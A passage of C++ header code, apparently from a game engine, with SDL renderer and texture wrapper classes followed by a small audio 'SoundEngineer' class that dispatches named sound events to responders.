texSlice, const SDL_Rect& drawPos) { SDL_RenderCopy(*this, tex, &texSlice, &drawPos); } void copy(SDL_Texture* tex, int width, int height) { SDL_Rect r = { 0, 0, width, height }; SDL_RenderCopy(*this, tex, nullptr, &r); } void copy(SDL_Texture* tex, const SDL_Rect& texSlice, const SDL_Rect& drawPos, const double angle, const SDL_Point& rotationAnchor, const SDL_RendererFlip flip = SDL_FLIP_NONE ) { SDL_RenderCopyEx(*this, tex, &texSlice, &drawPos, angle, &rotationAnchor, flip); } void copy(SDL_Texture* tex, const SDL_Rect& drawPos, const double angle, const SDL_Point& rotationAnchor, const SDL_RendererFlip flip = SDL_FLIP_NONE ) { SDL_RenderCopyEx(*this, tex, NULL, &drawPos, angle, &rotationAnchor, flip); } void copy(SDL_Texture* tex, const SDL_Rect& drawPos, const double angle, const SDL_Point& rotationAnchor, float scaleX, float scaleY, const SDL_Rect& texRect = {}, SDL_RendererFlip flip = SDL_FLIP_NONE ) { SDL_RenderSetScale(*this, scaleX * devicePixelRatio(), scaleY * devicePixelRatio()); SDL_RenderCopyEx(*this, tex, texRect.w > 0 && texRect.h > 0 ? &texRect : NULL, &drawPos, angle, &rotationAnchor, flip); SDL_RenderSetScale(*this, devicePixelRatio(), devicePixelRatio()); } operator SDL_Renderer*() const { return this->resource; } const Window& getWindow() const { return this->window; } float devicePixelRatio() const { return size().width / getWindow().size().width; } private: SDL_Renderer* resource = nullptr; const Window& window; }; inline Size Renderer::size() const { int w, h; SDL_GetRendererOutputSize(this->resource, &w, &h); return { w, h }; } inline Renderer& Renderer::operator=(Renderer&& ren) { std::swap(this->resource, ren.resource); return *this; } class Texture { public: inline Texture(const Renderer&, const Surface&); Texture(const Texture&) = delete; inline Texture(Texture&&); ~Texture() { if(this->resource) SDL_DestroyTexture(this->resource); } Texture& operator=(const Texture&) = delete; inline Texture& operator=(Texture&&); inline Texture& operator=(const Surface& surface); public: operator SDL_Texture*() const { return this->resource; } void setOpacity(Uint8 alpha) { SDL_SetTextureAlphaMod(*this, alpha); } inline Uint8 getOpacity() const; void setColor(SDL_Color c) { SDL_SetTextureColorMod(*this, c.r, c.g, c.b); } inline SDL_Color getColor() const; void setBlendMode(SDL_BlendMode bm) { SDL_SetTextureBlendMode(*this, bm); } inline SDL_BlendMode getBlendMode() const; private: SDL_Texture* resource = nullptr; int height; const Renderer& renderer; }; inline Texture::Texture(const Renderer& renderer, const Surface& surface) : renderer(renderer) { auto size = surface.size(); this->resource = SDL_CreateTexture(renderer, surface.pixelFormat()->format, SDL_TEXTUREACCESS_STREAMING, size.width, size.height); SDL_SetTextureBlendMode(this->resource, SDL_BLENDMODE_BLEND); void* pixels; int pitch; SDL_LockTexture(this->resource, nullptr, &pixels, &pitch); memcpy(pixels, static_cast<SDL_Surface*>(surface)->pixels, pitch * size.height); SDL_UnlockTexture(this->resource); this->height = size.height; } inline Texture::Texture(Texture&& tex) : renderer(tex.renderer) { std::swap(this->resource, tex.resource); SDL_SetTextureBlendMode(this->resource, SDL_BLENDMODE_BLEND); } inline Texture& Texture::operator=(Texture&& tex) { std::swap(this->resource, tex.resource); SDL_SetTextureBlendMode(this->resource, SDL_BLENDMODE_BLEND); return *this; } inline Uint8 Texture::getOpacity() const { Uint8 alpha; SDL_GetTextureAlphaMod(*this, &alpha); return alpha; } inline SDL_Color Texture::getColor() const { SDL_Color c; SDL_GetTextureColorMod(*this, &c.r, &c.g, &c.b); return c; } inline SDL_BlendMode Texture::getBlendMode() const { SDL_BlendMode bm; SDL_GetTextureBlendMode(*this, &bm); return bm; } inline Texture& Texture::operator=(const Surface& surface) { void* pixels; int pitch; SDL_LockTexture(this->resource, nullptr, &pixels, &pitch); memcpy(pixels, static_cast<SDL_Surface*>(surface)->pixels, pitch * this->height); SDL_UnlockTexture(this->resource); return *this; } } #endif
ilariom/wildcat
src/core/audio/SoundEngineer.h
#ifndef WKT_SOUND_ENGINEER_H #define WKT_SOUND_ENGINEER_H #include "audio_engine_types.h" #include <functional> #include <string> #include <unordered_map> namespace wkt { namespace audio { class SoundEngineer { public: explicit SoundEngineer(const std::string& name) : name(name) { } SoundEngineer() = default; public: void insert(const std::string& eventName, const SoundEventResponder& responder) { this->responses[eventName] = responder; } void erase(const std::string& eventName) { this->responses.erase(eventName); } inline void answer(Mixer& mixer, const SoundEvent& ev); const std::string& getName() const { return this->name; } private: std::string name; std::unordered_map<std::string, SoundEventResponder> responses; }; inline void SoundEngineer::answer(Mixer& mixer, const SoundEvent& ev) { if(this->responses.find(ev.name) == this->responses.end()) return; this->responses[ev.name](mixer, ev); } }} #endif